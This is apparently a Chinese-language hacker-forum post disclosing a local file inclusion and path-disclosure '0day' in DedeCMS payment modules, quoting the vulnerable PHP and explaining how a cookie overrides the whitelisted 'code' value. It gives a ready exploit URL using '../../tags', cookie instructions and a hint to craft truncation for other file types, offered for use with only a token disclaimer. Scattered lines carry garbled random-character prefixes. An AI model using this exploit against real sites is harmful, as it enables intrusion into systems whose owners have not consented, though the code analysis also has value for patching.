dedecms本地文件包含及物理路径泄露0day

admin

晚餐吃撑了，瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多，赶紧下了套，用editplus搜索了几个关键字，果然发现些问题。(话说平时写代码也喜欢用editplus，小巧方便多年习惯)
0 a7 E( \1 w; z3 v! t
出现漏洞的两个文件为：
+ S4 e2 M6 H) l, P" A1 uInclude/payment/alipay.php
0 f2 v& L  g% i  Y8 g% o; j& pInclude/payment/yeepay.php
漏洞均出现在respond方法里，估计这两个文件是临时工写的。
. j; c  x: t+ }
Include/payment/alipay.php

- y7 `4 Z: f1 p  C* f- z( C# p7 ~* U......
7 M1 Z' Y( Y8 ]0 ^8 P6 H   function respond()
    {
6 [8 _2 H6 z5 x7 ?& s* }* R        if (!empty($_POST))
        {
. t$ V2 g7 R8 I& K, K( G5 T            foreach($_POST as $key => $data)
; t$ P0 z5 c+ M& F; M8 H  z            {
                $_GET[$key] = $data;
            }
! a, m! J5 S; X$ V$ @& E% ^        }
        /* 引入配置文件 */
        require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';
. _% K# X4 e! I0 L2 i' H......


# O8 R7 C! d( z2 J2 ~! b+ G大概在133行左右，$_GET[‘code’]没有经过任何判断和过滤。

Include/payment/yeepay.php



......
" R7 Z. b; k2 F: s4 h+ @' {5 M3 Y    function respond()
8 }) A2 E( g# j! C8 h& H1 m    {
$ J3 {" u2 Q7 ~- ^5 b6 _: D
. T" c* I. w' _* V; B        /* 引入配置文件 */
: ?+ Z; P+ ~% j        require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';

0 a/ P" {2 ?7 f: ]        $p1_MerId = trim($payment['yp_account']);
        $merchantKey = trim($payment['yp_key']);
$ r% a8 I9 j2 i4 T* G; H, u......

1 a! q0 N5 @9 ~- ^" ^8 r8 o
6 a3 `( Y/ F9 u" v# `( q

大概在145行左右，$_REQUEST['code']没有经过任何判断和过滤。

5 m# U: E* \2 c. v8 x这两个方法在plus/carbuyaction.php文件调用。
3 S  G; p$ z) r6 _$ L; |
plus/carbuyaction.php

......
} else if ($dopost == 'return') {
    $write_list = array('alipay', 'bank', 'cod', 'yeepay');
! ^% q5 \% ^8 ?' U% Q, r: P    if (in_array($code, $write_list))
    {
/ `3 X, X/ E$ f5 Z- B# ?        require_once DEDEINC.'/payment/'.$code.'.php';
/ c) D) V8 T) s9 a- N        $pay = new $code;
        $msg=$pay->respond();
        ShowMsg($msg, "javascript:;", 0, 3000);
        exit();  
    } else {
6 u0 n4 q/ w7 p9 N' o+ V6 n6 j        exit('Error:File Type Can\'t Recognized!');
/ P  q9 g2 M! i3 ?* e8 v- z/ K    }
}
+ P- @' `  x' Y......

- Z6 K% ^  z7 X
, P9 I1 ^4 G* `( V0 |" b


" i) x9 }3 i0 ~1 p7 E
大概在334行，当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。
3 D4 p( W  H! Q: y所以$_GET['code']或$_REQUEST['code']会变成$code，而$code是经过判断的，值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。
( w* m" V5 P. Y3 e3 \- y
& T& C/ Z$ J+ L, }回到include/common.inc.php来看看他的机制。
$ G, W( G2 C: h1 B


......
foreach(Array('_GET','_POST','_COOKIE') as $_request)
3 U* |  M# l4 a{
        foreach($$_request as $_k => $_v)
" }( L& W3 B! r# o" B( ]        {
                if($_k == 'nvarname') ${$_k} = $_v;
                else ${$_k} = _RunMagicQuotes($_v);
        }
}
8 |# _! ]' ^1 i8 R/ A0 D) j......
大概在79行，可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿，细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准，而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断，使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:
由于bank和cod这两个文件并没有respond方法，所以如果code等于bank或者cod时将会暴错泄露路径。注：请勿非法测试，产生后果与本人无关。